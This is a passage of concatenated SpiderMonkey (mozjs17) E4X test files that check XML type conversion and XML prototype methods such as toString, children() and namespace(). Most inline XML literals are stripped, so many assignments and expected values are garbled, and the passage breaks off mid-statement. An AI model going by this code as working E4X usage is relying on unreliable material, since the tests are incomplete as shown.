pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Regression - Do not crash calling __proto__"; var BUGNUMBER = 313080; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); try { .__proto__(); .function::__proto__(); } catch(e) { printStatus(e + ''); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/0000775000175000017500000000000012106270663020635 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/TypeConversion/10.6.1.js0000664000175000017500000000100212106270663021707 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.6.1 - ToXMLName applied to the String type"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/shell.js0000664000175000017500000000000012106270663022270 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/TypeConversion/10.1.1.js0000664000175000017500000000444512106270663021720 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.1.1 - XML.toString"); var n = 0; var expect; var actual; var xml; // Example from ECMA 357 10.1.1 var order = John Doe Big Screen Television 1299.99 1 ; var name = order.customer.firstname + " " + order.customer.lastname; TEST(++n, "John Doe", name); var total = order.item.price * order.item.quantity; TEST(++n, 1299.99, total); // Semantics printStatus("test empty.toString()"); xml = new XML(); expect = ''; actual = xml.toString(); TEST(++n, expect, actual); printStatus("test attribute.toString()"); xml = ; var attr = xml.@bar; expect = "baz"; actual = attr.toString(); TEST(++n, expect, actual); printStatus("test text.toString()"); xml = new XML("this is text"); expect = "this is text"; actual = xml.toString(); TEST(++n, expect, actual); printStatus("test simpleContent.toString()"); xml = bar; expect = "bar"; actual = xml.toString(); TEST(++n, expect, actual); var truefalse = [true, false]; for (var ic = 0; ic < truefalse.length; ic++) { for (var ip = 0; ip < truefalse.length; ip++) { XML.ignoreComments = truefalse[ic]; XML.ignoreProcessingInstructions = truefalse[ip]; xml = bar; expect = "bar"; actual = xml.toString(); TEST(++n, expect, actual); } } printStatus("test nonSimpleContent.toString() == " + "nonSimpleContent.toXMLString()"); var indents = [0, 4]; for (var pp = 0; pp < truefalse.length; pp++) { XML.prettyPrinting = truefalse[pp]; for (var pi = 0; pi < indents.length; pi++) { XML.prettyIndent = indents[pi]; expect = order.toXMLString(); actual = order.toString(); TEST(++n, expect, actual); } } END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/10.1.2.js0000664000175000017500000000501612106270663021714 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.1.2 - XMLList.toString"); var n = 0; var expect; var actual; var xmllist; var xml; // Example from ECMA 357 10.1.1 var order = John Doe Big Screen Television 1299.99 1 ; // Semantics printStatus("test empty.toString()"); xmllist = new XMLList(); expect = ''; actual = xmllist.toString(); TEST(++n, expect, actual); printStatus("test [attribute].toString()"); xmllist = new XMLList(); xml = ; var attr = xml.@bar; xmllist[0] = attr; expect = "baz"; actual = xmllist.toString(); TEST(++n, expect, actual); printStatus("test [text].toString()"); xmllist = new XMLList(); xml = new XML("this is text"); xmllist[0] = xml; expect = "this is text"; actual = xmllist.toString(); TEST(++n, expect, actual); printStatus("test [simpleContent].toString()"); xmllist = new XMLList(); xml = bar; xmllist[0] = xml; expect = "bar"; actual = xmllist.toString(); TEST(++n, expect, actual); var truefalse = [true, false]; for (var ic = 0; ic < truefalse.length; ic++) { for (var ip = 0; ip < truefalse.length; ip++) { XML.ignoreComments = truefalse[ic]; XML.ignoreProcessingInstructions = truefalse[ip]; xmllist = new XMLList(); xml = bar; xmllist[0] = xml; expect = "bar"; actual = xmllist.toString(); TEST(++n, expect, actual); } } printStatus("test nonSimpleContent.toString() == " + "nonSimpleContent.toXMLString()"); var indents = [0, 4]; for (var pp = 0; pp < truefalse.length; pp++) { XML.prettyPrinting = truefalse[pp]; for (var pi = 0; pi < indents.length; pi++) { XML.prettyIndent = indents[pi]; xmllist = new XMLList(order); expect = order.toXMLString(); actual = order.toString(); TEST(++n, expect, actual); xmllist = order..*; expect = order.toXMLString(); actual = order.toString(); TEST(++n, expect, actual); } } END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/10.6.js0000664000175000017500000000074512106270663021565 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.6 - ToXMLName"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/10.3.1.js0000664000175000017500000000144112106270663021713 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.3.1 - toXML applied to String type"); john = "John25"; sue = "Sue32"; tagName = "employees"; employees = new XML("<" + tagName + ">" + john + sue + ""); correct = John25 Sue32 ; TEST(1, correct, employees); END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/browser.js0000664000175000017500000000000012106270663022644 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/TypeConversion/10.2.1.js0000664000175000017500000000643612106270663021723 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) fails /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.2.1 - XML.toXMLString"); var BUGNUMBER = 297025; printBugNumber(BUGNUMBER); var n = 1; var actual; var expect; // Semantics var xml; // text 10.2.1 - Step 4 printStatus(inSection(n++) + ' testing text'); var text = 'this is text'; printStatus(inSection(n++) + ' testing text with pretty printing'); XML.prettyPrinting = true; XML.prettyIndent = 10; xml = new XML(text); expect = text; actual = xml.toXMLString(); TEST(n, expect, actual); printStatus(inSection(n++) + ' testing text with whitespace with pretty printing'); XML.prettyPrinting = true; XML.prettyIndent = 10; xml = new XML(' \t\r\n' + text + ' \t\r\n'); expect = text; actual = xml.toXMLString(); TEST(n, expect, actual); printStatus(inSection(n++) + ' testing text with whitespace without pretty printing'); XML.prettyPrinting = false; xml = new XML(' \t\r\n' + text + ' \t\r\n'); expect = ' \t\r\n' + text + ' \t\r\n'; actual = xml.toXMLString(); TEST(n, expect, actual); // EscapeElementValue - 10.2.1 Step 4.a.ii printStatus(inSection(n++) + ' testing text EscapeElementValue'); var alpha = 'abcdefghijklmnopqrstuvwxyz'; xml = {"< > &"}{alpha}; xml = xml.text(); expect = '< > &' + alpha actual = xml.toXMLString(); TEST(n, expect, actual); // attribute, EscapeAttributeValue - 10.2.1 Step 5 printStatus(inSection(n++) + ' testing attribute EscapeAttributeValue'); xml = ; xml.@bar = '"<&\u000A\u000D\u0009' + alpha; expect = ''; actual = xml.toXMLString(); TEST(n, expect, actual); // Comment - 10.2.1 Step 6 printStatus(inSection(n++) + ' testing Comment'); XML.ignoreComments = false; xml = ; expect = ''; actual = xml.toXMLString(); TEST(n, expect, actual); // Processing Instruction - 10.2.1 Step 7 printStatus(inSection(n++) + ' testing Processing Instruction'); XML.ignoreProcessingInstructions = false; xml = ; expect = ''; actual = xml.toXMLString(); TEST(n, expect, actual); // 10.2.1 Step 8+ // From Martin and Brendan var link; var xlinkNamespace; printStatus(inSection(n++)); expect = ''; link = ; xlinkNamespace = new Namespace('xlink', 'http://www.w3.org/1999/xlink'); link.addNamespace(xlinkNamespace); printStatus('In scope namespace: ' + link.inScopeNamespaces()); printStatus('XML markup: ' + link.toXMLString()); link.@type.setName(new QName(xlinkNamespace, 'type')); printStatus('name(): ' + link.@*::*[0].name()); actual = link.toXMLString(); printStatus(actual); TEST(n, expect, actual); printStatus(inSection(n++)); link = ; xlinkNamespace = new Namespace('xlink', 'http://www.w3.org/1999/xlink'); printStatus('XML markup: ' + link.toXMLString()); link.@type.setNamespace(xlinkNamespace); printStatus('name(): ' + link.@*::*[0].name()); actual = link.toXMLString(); printStatus(actual); TEST(n, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/10.4.js0000664000175000017500000000256112106270663021561 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.4 - toXMLList"); var x; // null try { x = null; x.toString(); SHOULD_THROW(1); } catch (ex) { TEST(1, "TypeError", ex.name); } // number x = new Number(123); TEST(2, "123", new XMLList(x).toXMLString()); // String x = new String("one"); TEST(3, one, new XMLList(x)); x = new String("onetwo"); TEST(4, "one\ntwo", new XMLList(x).toXMLString()); // XML x = new XML(one); TEST(5, one, new XMLList(x)); x = new XML(onetwo); TEST(6, one, new XMLList(x.alpha)); // XMLList x = new XMLList(one); TEST(7, one, new XMLList(x)); x = new XMLList(<>onetwo); TEST(8, "one\ntwo", new XMLList(x).toXMLString()); END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/10.3.js0000664000175000017500000000200012106270663021544 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.3 - toXML"); var x; // boolean x = new Boolean(true); TEST_XML(1, "true", new XML(x)); // number x = new Number(123); TEST_XML(2, "123", new XML(x)); // String x = new String("one"); TEST(3, one, new XML(x)); // XML x = new XML(one); TEST(4, one, new XML(x)); // XMLList x = new XMLList(one); TEST(5, one, new XML(x)); try { x = new XMLList(one + two); new XML(x); SHOULD_THROW(6); } catch (ex) { TEST(6, "TypeError", ex.name); } END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/10.4.1.js0000664000175000017500000000305712106270663021721 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.4.1 - toXMLList Applied to String type"); var x, y, correct; x = <> one two ; TEST(1, "xml", typeof(x)); TEST(2, "one\ntwo", x.toXMLString()); // Load from another XMLList // Make sure it is copied if it's an XMLList y = new XMLList(x); x += three; TEST(3, "one\ntwo", y.toXMLString()); // Load from one XML type x = new XMLList(one); TEST(4, "one", x.toXMLString()); // Load from Anonymous x = new XMLList(<>onetwo); TEST(5, "one\ntwo", x.toXMLString()); // Load from Anonymous as string x = new XMLList("onetwo"); TEST(6, "one\ntwo", x.toXMLString()); // Load from illegal type //x = new XMLList("foobar"); //ADD(7, "", x); John = "John25"; Sue = "Sue32"; correct = <> John25 Sue32 ; var1 = new XMLList(John + Sue); TEST(8, correct, var1); END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/10.5.1.js0000664000175000017500000000101012106270663021705 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.5.1 - ToAttributeName applied to the String type"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/TypeConversion/10.5.js0000664000175000017500000000075112106270663021561 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("10.5 ToAttributeName"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/template.js0000664000175000017500000000056512106270663020025 0ustar sstanglsstangl/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: */ var summary = 'section - description'; var BUGNUMBER = 99999; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); // test here END(); mozjs17.0.0/js/src/tests/e4x/XML/0000775000175000017500000000000012106270663016306 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/XML/regress-638982.js0000664000175000017500000000022312106270663021074 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) var SUMMARY = "Mark properties of XML.prototype as unknown"; XML.prototype.x TEST(0,0,0) mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.24.js0000664000175000017500000000151612106270663017622 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.24 - XML namespaceDeclarations()"); TEST(1, true, XML.prototype.hasOwnProperty("namespaceDeclarations")); x = one ; y = x.namespaceDeclarations(); TEST(2, 2, y.length); TEST(3, "object", typeof(y[0])); TEST(4, "object", typeof(y[1])); TEST(5, "foo", y[0].prefix); TEST(6, Namespace("http://foo/"), y[0]); TEST(7, "bar", y[1].prefix); TEST(8, Namespace("http://bar/"), y[1]); END(); mozjs17.0.0/js/src/tests/e4x/XML/shell.js0000664000175000017500000000000012106270663017741 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/XML/13.4.4.8.js0000664000175000017500000000177712106270663017555 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.8 - XML children()"); TEST(1, true, XML.prototype.hasOwnProperty("children")); emps = Jim25 Joe20 ; correct = new XMLList(); correct += Jim25; correct += Joe20; TEST(2, "xml", typeof(emps.children())); TEST(3, correct, emps.children()); // Get the child elements of the first employee correct = new XMLList(); correct += Jim, correct += 25; TEST(4, correct, emps.employee[0].children()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.3-02.js0000664000175000017500000000127212106270663017755 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "13.4.4.3 - XML.appendChild should copy child"; var BUGNUMBER = 312692; var actual = ''; var expect = 'error'; printBugNumber(BUGNUMBER); START(summary); try { var node = ; node.appendChild(node); var result = String(node); actual = 'no error'; } catch(e) { actual = 'error'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.16.js0000664000175000017500000000230012106270663017613 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.16 - XML hasSimpleContent()"); TEST(1, true, XML.prototype.hasOwnProperty("hasSimpleContent")); x = one two three four five six seven ; TEST(2, false, x.hasSimpleContent()); TEST(3, true, x.bravo.hasSimpleContent()); TEST(4, false, x.charlie.hasSimpleContent()); TEST(5, true, x.delta.hasSimpleContent()); TEST(6, true, x.foxtrot.hasSimpleContent()); TEST(7, true, x.golf.hasSimpleContent()); TEST(8, true, x.hotel.hasSimpleContent()); TEST(9, true, x.@attr1.hasSimpleContent()); TEST(10, true, x.bravo.child(0).hasSimpleContent()); TEST(11, false, x.india.hasSimpleContent()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.18.js0000664000175000017500000000170512106270663017625 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.18 - XML insertChildAfter()"); TEST(1, true, XML.prototype.hasOwnProperty("insertChildAfter")); x = one two ; correct = one three two ; x.insertChildAfter(x.bravo[0], three); TEST(2, correct, x); x = one two ; correct = three one two ; x.insertChildAfter(null, three); TEST(3, correct, x); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.40.js0000664000175000017500000000121612106270663017615 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.40 - valueOf"); TEST(1, true, XML.prototype.hasOwnProperty("valueOf")); x = one ; TEST(2, x, x.valueOf()); // Make sure they're the same and not copies x = one ; y = x.valueOf(); x.bravo = "two"; TEST(3, x, y); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.12-1.js0000664000175000017500000000273212106270663017756 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "13.4.4.12 - XML Descendants"; var BUGNUMBER = 289117; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var xhtmlMarkup = XHTML example

    Kibology for all

    ; expect = 'element:http://www.w3.org/1999/xhtml::head;' + 'element:http://www.w3.org/1999/xhtml::title;' + 'text:XHTML example;' + 'element:http://www.w3.org/1999/xhtml::body;' + 'element:http://www.w3.org/1999/xhtml::p;' + 'text:Kibology for all;'; actual = ''; for each (var descendant in xhtmlMarkup..*) { actual += descendant.nodeKind() + ':'; var name = descendant.name(); if (name) { actual += name; } else { actual += descendant.toString(); } actual += ';' } TEST(1, expect, actual); actual = ''; for each (var descendant in xhtmlMarkup.descendants()) { actual += descendant.nodeKind() + ':'; var name = descendant.name(); if (name) { actual += name; } else { actual += descendant.toString(); } actual += ';' } TEST(2, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.9.js0000664000175000017500000000126712106270663017550 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.9 - XML comments()"); TEST(1, true, XML.prototype.hasOwnProperty("comments")); XML.ignoreComments = false; x = some text ; TEST_XML(2, "", x.comments()); TEST_XML(3, "", x..*.comments()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.17.js0000664000175000017500000000153612106270663017626 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.17 - XML inScopeNamespaces()"); TEST(1, true, XML.prototype.hasOwnProperty("inScopeNamespaces")); x = one ; namespaces = x.bravo.inScopeNamespaces(); TEST(2, "foo", namespaces[0].prefix); TEST(3, "http://foo/", namespaces[0].uri); TEST(4, "bar", namespaces[1].prefix); TEST(5, "http://bar/", namespaces[1].uri); TEST(6, "", namespaces[2].prefix); TEST(7, "", namespaces[2].uri); TEST(8, 3, namespaces.length); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.28.js0000664000175000017500000000241212106270663017622 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.28 - processingInsructions()"); TEST(1, true, XML.prototype.hasOwnProperty("processingInstructions")); XML.ignoreProcessingInstructions = false; // test generic PI x = one; correct = <>; TEST(2, correct, x.processingInstructions()); TEST(3, correct, x.processingInstructions("*")); correct = ""; TEST_XML(4, correct, x.processingInstructions("xyz")); // test XML-decl // Un-comment these tests when we can read in doc starting with PI. //x = new XML("one"); //correct = new XMLList(); //test(5, correct, x.processingInstructions()); //test(6, correct, x.processingInstructions("*")); //test(7, correct, x.processingInstructions("xml")); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.12.js0000664000175000017500000000167412106270663017624 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.12 - XML descendants"); TEST(1, true, XML.prototype.hasOwnProperty("descendants")); x = one two three ; TEST(2, three, x.charlie.descendants("bravo")); TEST(3, <>onethree, x.descendants("bravo")); // Test * correct = <>oneonetwothreetwothreethree; XML.prettyPrinting = false; TEST(4, correct, x.descendants("*")); TEST(5, correct, x.descendants()); XML.prettyPrinting = true; END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.32.js0000664000175000017500000000311112106270663017612 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.32 - XML replace()"); TEST(1, true, XML.prototype.hasOwnProperty("replace")); // Replace the first employee record with an open staff requisition emps = Jim25 Joe20 ; correct = Joe20 ; emps.replace(0, ); TEST(2, correct, emps); // Replace all children with open staff requisition emps = Jim25 Joe20 ; correct = ; emps.replace("*", ); TEST(3, correct, emps); // Replace all employee elements with open staff requisition emps = Jim25 Joe20 ; correct = ; emps.replace("employee", ); TEST(4, correct, emps); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.15.js0000664000175000017500000000231512106270663017620 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.15 - hasComplexContent()"); TEST(1, true, XML.prototype.hasOwnProperty("hasComplexContent")); x = one two three four five six seven ; TEST(2, true, x.hasComplexContent()); TEST(3, false, x.bravo.hasComplexContent()); TEST(4, true, x.charlie.hasComplexContent()); TEST(5, false, x.delta.hasComplexContent()); TEST(6, false, x.foxtrot.hasComplexContent()); TEST(7, false, x.golf.hasComplexContent()); TEST(8, false, x.hotel.hasComplexContent()); TEST(9, false, x.@attr1.hasComplexContent()); TEST(10, false, x.bravo.child(0).hasComplexContent()); TEST(11, true, x.india.hasComplexContent()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.37.js0000664000175000017500000000143412106270663017625 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.37 - XML text()"); TEST(1, true, XML.prototype.hasOwnProperty("text")); x = one two ; TEST_XML(2, "one", x.bravo.text()); correct = new XMLList(); correct += new XML("one"); correct += new XML("two"); TEST(3, correct, x..bravo.text()); TEST_XML(4, "", x.charlie.text()); TEST_XML(5, "", x.foobar.text()); TEST_XML(6, "one", x.*.text()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.27.js0000664000175000017500000000114612106270663017624 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.27 - XML parent()"); TEST(1, true, XML.prototype.hasOwnProperty("parent")); x = one two ; y = x.bravo; TEST(2, x, y.parent()); TEST(3, null, x.parent()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.23.js0000664000175000017500000000253112106270663017617 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.23 - XML namespace()"); TEST(1, true, XML.prototype.hasOwnProperty("namespace")); // Prefix case x = one ; y = x.namespace(); TEST(2, "object", typeof(y)); TEST(3, Namespace("http://foo/"), y); y = x.namespace("bar"); TEST(4, "object", typeof(y)); TEST(5, Namespace("http://bar/"), y); // No Prefix Case x = one ; y = x.namespace(); TEST(6, "object", typeof(y)); TEST(7, Namespace("http://foobar/"), y); // No Namespace case x = one ; TEST(8, Namespace(""), x.namespace()); // Namespaces of attributes x = one ; var ns = new Namespace("http://bar"); y = x.ns::bravo.@name.namespace(); TEST(9, Namespace(""), y); y = x.ns::bravo.@ns::value.namespace(); TEST(10, ns.toString(), y.toString()); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.5.js0000664000175000017500000000154212106270663017540 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.5 - XML attributes()"); TEST(1, true, XML.prototype.hasOwnProperty("attributes")); x = one ; TEST(2, "xml", typeof(x.attributes())); // Iterate through the attributes of an XML value x = one ; correct = new Array("value1", "value2", "value3"); i = 0; for each (var a in x.attributes()) { TEST_XML(i + 3, correct[i], a); i++; } END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.22.js0000664000175000017500000000205212106270663017614 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.22 - XML name()"); TEST(1, true, XML.prototype.hasOwnProperty("name")); x = one two ; y = x.bravo.name(); TEST(2, "object", typeof(y)); TEST(3, QName("bravo"), y); x = one ; ns = new Namespace("http://foo/"); y = x.ns::bravo.name(); TEST(4, "object", typeof(y)); TEST(5, QName("http://foo/", "bravo"), y); y = x.ns::bravo.@name.name(); TEST(6, QName("name"), y); y = 